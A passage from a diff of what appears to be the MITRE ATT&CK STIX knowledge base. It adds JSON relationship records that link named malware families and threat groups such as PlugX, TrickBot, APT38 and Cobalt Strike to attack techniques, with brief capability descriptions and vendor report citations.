"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a0c8ed8f-8c17-4ab1-b403-f1cfd314d3da", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can download files to the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T14:51:06.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33a382a9-ebb3-48d9-bb7e-394a27783668", + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.883Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) decompresses and decrypts itself using the Microsoft API call RtlDecompressBuffer.", + "type": "relationship", + "created": "2019-01-29T18:17:59.152Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cb67b57d-2ab3-4971-9b8d-83768df36df0", + "external_references": [ + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "modified": "2019-04-19T15:08:15.827Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can steal data from the victim\u2019s clipboard.", + "type": "relationship", + "created": "2019-01-29T18:44:05.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--06dded4b-f28c-45d3-8dc6-097a9a4a3cd6", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "source_name": "Fortinet Agent Tesla June 2017", + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "modified": "2019-04-16T14:30:35.274Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) has used a custom command and control protocol to communicate with C2. The string \u2018488\u2019 is placed at the top of the payload and encrypts the entre buffer with a static key using a simple XOR cipher.", + "type": "relationship", + "created": "2019-01-29T19:09:26.704Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cae6319d-e6d4-4d59-ba65-09ac462ef51e", + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "modified": "2019-04-19T15:10:04.352Z", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) runs the net group command to list accounts on the system.", + "type": "relationship", + "created": "2019-01-29T19:36:02.737Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f", + "external_references": [ + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "modified": "2019-04-12T14:43:22.597Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the net use, net session, and netstat commands to gather information on network connections.", + "type": "relationship", + "created": "2019-01-29T19:55:48.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cfd90ab-8e17-4b78-9bfb-7792b8f51143", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:42.686Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Responses from the [Pisloader](https://attack.mitre.org/software/S0124) C2 server are base32-encoded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ec9a523-e27f-4984-9bde-4af785e5e75a", + "external_references": [ + { + "source_name": "Palo Alto DNS Requests", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used shellcode with an XOR algorithm to decrypt a payload.", + "type": "relationship", + "created": "2019-01-29T20:17:49.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d68120b8-9ef8-4a40-ae4c-d2b597336140", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "modified": "2019-06-30T22:44:28.129Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to capture keystrokes from the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:27:25.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1a49c7e5-32b0-4393-a464-1491b1ebc279", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.775Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Dipsind](https://attack.mitre.org/software/S0200) variant registers as a Winlogon Event Notify DLL to establish persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4536c335-5138-42d1-8f1e-63dee7cb17ab", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5eb253cb-2e81-4f51-bd0e-d1734283491c", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.", + "type": "relationship", + "created": "2019-01-29T21:47:53.750Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14a9f873-cb86-4238-b6c6-8b0836512fdc", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.829Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.184Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b355dcf-9a9f-43b3-9989-128f5171b5c3", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) chooses a service, drops a DLL file, and writes it to that serviceDLL Registry key.", + "type": "relationship", + "created": "2019-01-30T13:53:14.846Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27dcfdc7-f5d5-49b4-ad4e-afd43974c43c", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:21.920Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on local groups and members on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da11f44a-5af0-4b71-a049-a9ff85e2ba9b", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.672Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim\u2019s webcam to capture content.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2067a75-0d5d-4899-9d9f-6537d98296c1", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) establishes persistence in the Startup folder.", + "type": "relationship", + "created": "2019-01-30T14:11:44.233Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5235fbdb-5c53-4860-a459-cd4b538817db", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.433Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) uses HTTPS for C2 communications.", + "type": "relationship", + "created": "2019-01-30T15:10:04.177Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6744532-f455-4b12-9dfb-7f713c2bb7ba", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.921Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses FakeTLS to communicate with its C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9e193b3a-3f21-43aa-b373-6fcec59ff2c7", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses HTTP for C2 communications.", + "type": "relationship", + "created": "2019-01-30T15:27:06.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38a3eb0c-6313-4e1d-8321-7568435a8c23", + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-02-12T21:28:19.532Z", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7fee556-41c2-43bd-a732-e11ff34fb129", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the name and ID for every process running on the system.", + "type": "relationship", + "created": "2019-01-30T15:43:19.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3138e56-a496-486d-b11e-5e1c39a9c15d", + "external_references": [ + { + "source_name": "McAfee Oceansalt Oct 2018", + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "modified": "2019-02-12T21:14:11.188Z", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.260Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lslsass](https://attack.mitre.org/software/S0121) can dump active logon session password hashes from the lsass process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.", + "type": "relationship", + "created": "2019-01-30T16:39:54.541Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8492b36-1720-4ec5-964d-09574378bb7b", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.542Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses HTTP for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d6204645-83ff-4b26-a011-9b58bab2d597", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can capture screenshots of the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T17:33:41.151Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f6b8a04-916e-4f33-8837-ff48e00e771b", + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "modified": "2019-06-28T15:30:58.543Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) collected data from local victim systems.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9723e536-1491-45a4-8dc7-716e4d7df7dc", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.515Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + 